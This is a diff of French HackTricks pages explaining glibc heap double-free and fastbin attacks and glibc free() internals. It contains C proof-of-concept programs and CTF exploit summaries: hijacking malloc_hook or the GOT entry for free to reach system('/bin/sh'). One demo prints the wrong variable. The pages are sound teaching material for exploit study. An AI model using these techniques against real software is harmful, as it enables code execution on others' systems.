[malloc-and-sysmalloc.md](heap-memory-functions/malloc-and-sysmalloc.md)
{% endcontent-ref %}
## Flux de Libération
Consultez :
{% content-ref url="heap-memory-functions/free.md" %}
[free.md](heap-memory-functions/free.md)
{% endcontent-ref %}
## Vérifications de Sécurité des Fonctions de la Heap
Consultez les vérifications de sécurité effectuées par les fonctions largement utilisées dans la heap dans :
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## Références
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,138 @@
# Double Free
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Si vous libérez un bloc de mémoire plus d'une fois, cela peut perturber les données de l'allocateur et ouvrir la porte aux attaques. Voici comment cela se produit : lorsque vous libérez un bloc de mémoire, il retourne dans une liste de morceaux libres (par exemple, le "fastbin"). Si vous libérez le même bloc deux fois de suite, l'allocateur détecte cela et génère une erreur. Mais si vous **libérez un autre morceau entre-temps, la vérification de double libération est contournée**, provoquant une corruption.
Maintenant, lorsque vous demandez une nouvelle mémoire (en utilisant `malloc`), l'allocateur pourrait vous donner un **bloc qui a été libéré deux fois**. Cela peut conduire à deux pointeurs différents pointant vers le même emplacement mémoire. Si un attaquant contrôle l'un de ces pointeurs, il peut modifier le contenu de cette mémoire, ce qui peut entraîner des problèmes de sécurité ou même lui permettre d'exécuter du code.
Exemple :
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i1);
return 0;
}
```
Dans cet exemple, après avoir rempli le tcache avec plusieurs tranches libérées, le code **libère la tranche `h`, puis la tranche `i`, et ensuite `h` à nouveau, provoquant une erreur de double-libération**. Cela ouvre la possibilité de recevoir des adresses mémoire qui se chevauchent lors de la réallocation, ce qui signifie que deux pointeurs ou plus peuvent pointer vers la même adresse mémoire. Manipuler des données via un pointeur peut alors affecter l'autre, créant un risque de sécurité critique et un potentiel d'exploitation.
En l'exécutant, notez comment **`i1` et `i2` ont la même adresse** :
<pre><code>Allocations initiales :
a : 0xaaab0f0c22a0
b : 0xaaab0f0c22c0
c : 0xaaab0f0c22e0
d : 0xaaab0f0c2300
e : 0xaaab0f0c2320
f : 0xaaab0f0c2340
g : 0xaaab0f0c2360
h : 0xaaab0f0c2380
i : 0xaaab0f0c23a0
Après les réallocations :
a1 : 0xaaab0f0c2360
b1 : 0xaaab0f0c2340
c1 : 0xaaab0f0c2320
d1 : 0xaaab0f0c2300
e1 : 0xaaab0f0c22e0
f1 : 0xaaab0f0c22c0
g1 : 0xaaab0f0c22a0
h1 : 0xaaab0f0c2380
<strong>i1 : 0xaaab0f0c23a0
</strong><strong>i2 : 0xaaab0f0c23a0
</strong></code></pre>
## Références
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,174 @@
# Attaque de Fast Bin
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Informations de base
Pour plus d'informations sur ce qu'est un fast bin, consultez cette page :
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Étant donné que le fast bin est à simple chaînage, il y a beaucoup moins de protections que dans d'autres bins et simplement **modifier une adresse dans un chunk fast bin libéré** est suffisant pour pouvoir **allouer plus tard un chunk dans n'importe quelle adresse mémoire**.
En résumé :
{% code overflow="wrap" %}
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
{% endcode %}
Vous pouvez trouver un exemple complet dans un code très bien expliqué sur [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
{% hint style="danger" %}
S'il est possible de remplacer la valeur de la variable globale **`global_max_fast`** par un grand nombre, cela permet de générer des fast bins de tailles plus grandes, permettant potentiellement d'effectuer des attaques fast bin dans des scénarios où cela n'était pas possible auparavant.
{% endhint %}
## Exemples
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* Il est possible d'allouer des morceaux, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de débordement).
* **Consolider le morceau pour une fuite d'informations** : La technique consiste essentiellement à abuser du débordement pour créer une fausse prev\_size afin qu'un morceau précédent soit placé à l'intérieur d'un plus grand, de sorte que lors de l'allocation du plus grand contenant un autre morceau, il est possible d'imprimer ses données et de divulguer une adresse vers libc (main\_arena+88).
* **Écraser le crochet malloc** : Pour cela, et en abusant de la situation de chevauchement précédente, il était possible d'avoir 2 morceaux qui pointaient vers la même mémoire. Par conséquent, en les libérant tous les deux (en libérant un autre morceau entre eux pour éviter les protections), il était possible d'avoir le même morceau dans le fast bin 2 fois. Ensuite, il était possible de l'allouer à nouveau, d'écraser l'adresse du prochain morceau pour pointer un peu avant malloc\_hook (de sorte qu'il pointe vers un entier que malloc pense être une taille libre - un autre contournement), de l'allouer à nouveau, puis d'allouer un autre morceau qui recevra une adresse vers les crochets malloc.\
Enfin, un **one gadget** a été écrit là-dedans.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Il y a un débordement de tas et une double libération après utilisateur car lorsqu'un morceau est libéré, il est possible de réutiliser et de re-libérer les pointeurs.
* **Fuite d'informations sur Libc** : Il suffit de libérer quelques morceaux et ils obtiendront un pointeur vers une partie de l'emplacement de l'arène principale. Comme vous pouvez réutiliser des pointeurs libérés, il suffit de lire cette adresse.
* **Attaque fast bin** : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques morceaux de fast bin et dans le dernier écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques morceaux de la même taille et nous obtiendrons d'abord le légitime, puis le faux contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour pointer vers l'adresse got de `free` pour pointer vers le système, puis écrire le morceau 1 `"/bin/sh"` pour ensuite `free(chunk1)` ce qui exécutera `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Un autre exemple d'abus d'un débordement de 1B pour consolider des morceaux dans le bac non trié et obtenir une fuite d'informations sur Libc, puis effectuer une attaque fast bin pour écraser le crochet malloc avec une adresse one gadget.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Après une fuite d'informations en abusant du bac non trié avec une UAF pour divulguer une adresse de Libc et une adresse de PIE, l'exploit de ce CTF a utilisé une attaque fast bin pour allouer un morceau à un endroit où les pointeurs vers des morceaux contrôlés étaient situés, il était donc possible d'écraser certains pointeurs pour écrire un one gadget dans le GOT.
* Vous pouvez trouver une attaque Fast Bin abusée à travers une attaque de bac non trié :
* Notez qu'il est courant avant de réaliser des attaques fast bin d'abuser de la liste non aimée pour divulguer des adresses libc/heap (si nécessaire).
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,17 @@
# Fonctions de mémoire de tas
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
##

View file

@ -0,0 +1,388 @@
# free
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Résumé de la commande Free <a href="#libc_free" id="libc_free"></a>
(Aucune vérification n'est expliquée dans ce résumé et certains cas ont été omis pour des raisons de concision)
1. Si l'adresse est nulle, ne rien faire
2. Si le chunk était mappé en mémoire, le démapper et terminer
3. Appeler `_int_free` :
1. Si possible, ajouter le chunk au tcache
2. Si possible, ajouter le chunk au fast bin
3. Appeler `_int_free_merge_chunk` pour consolider le chunk si nécessaire et l'ajouter à la liste non triée
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
`Free` appelle `__libc_free`.
- Si l'adresse passée est Null (0), ne rien faire.
- Vérifier l'étiquette du pointeur
- Si le chunk est `mmaped`, le `mummap` et c'est tout
- Sinon, ajouter la couleur et appeler `_int_free` dessus
<details>
<summary>Code __lib_free</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int\_free <a href="#int_free" id="int_free"></a>
### Début de \_int\_free <a href="#int_free" id="int_free"></a>
Il commence par effectuer quelques vérifications pour s'assurer que :
* le **pointeur** est **aligné**, ou déclenche une erreur `free(): invalid pointer`
* la **taille** n'est pas inférieure à la taille minimale et que la **taille** est également **alignée**, ou déclenche une erreur : `free(): invalid size`
<details>
<summary>Début de \_int\_free</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
```
</details>
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
Il va d'abord essayer d'allouer ce fragment dans le tcache associé. Cependant, certaines vérifications sont effectuées au préalable. Il va parcourir tous les fragments du tcache dans le même index que le fragment libéré et :
* S'il y a plus d'entrées que `mp_.tcache_count` : `free(): too many chunks detected in tcache`
* Si l'entrée n'est pas alignée : `free(): unaligned chunk detected in tcache 2`
* si le fragment libéré a déjà été libéré et est présent en tant que fragment dans le tcache : `free(): double free detected in tcache 2`
Si tout se passe bien, le fragment est ajouté au tcache et la fonction retourne.
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int\_free fast bin <a href="#int_free" id="int_free"></a>
Commencez par vérifier que la taille est adaptée pour le fast bin et vérifiez s'il est possible de la placer près du top chunk.
Ensuite, ajoutez le chunk libéré en haut du fast bin tout en effectuant quelques vérifications :
* Si la taille du chunk est invalide (trop grande ou trop petite) déclenchez : `free(): invalid next size (fast)`
* Si le chunk ajouté était déjà en haut du fast bin : `double free or corruption (fasttop)`
* Si la taille du chunk en haut a une taille différente du chunk que nous ajoutons : `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
### Libération finale de \_int\_free <a href="#int_free" id="int_free"></a>
Si le chunk n'était pas encore alloué dans une quelconque liste, appeler `_int_free_merge_chunk`
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
}
```
</details>
## \_int\_free\_merge\_chunk
Cette fonction va essayer de fusionner le chunk P de TAILLE octets avec ses voisins. Mettre le chunk résultant dans la liste des bacs non triés.
Certaines vérifications sont effectuées :
* Si le chunk est le chunk supérieur : `double free or corruption (top)`
* Si le chunk suivant est en dehors des limites de l'arène : `double free or corruption (out)`
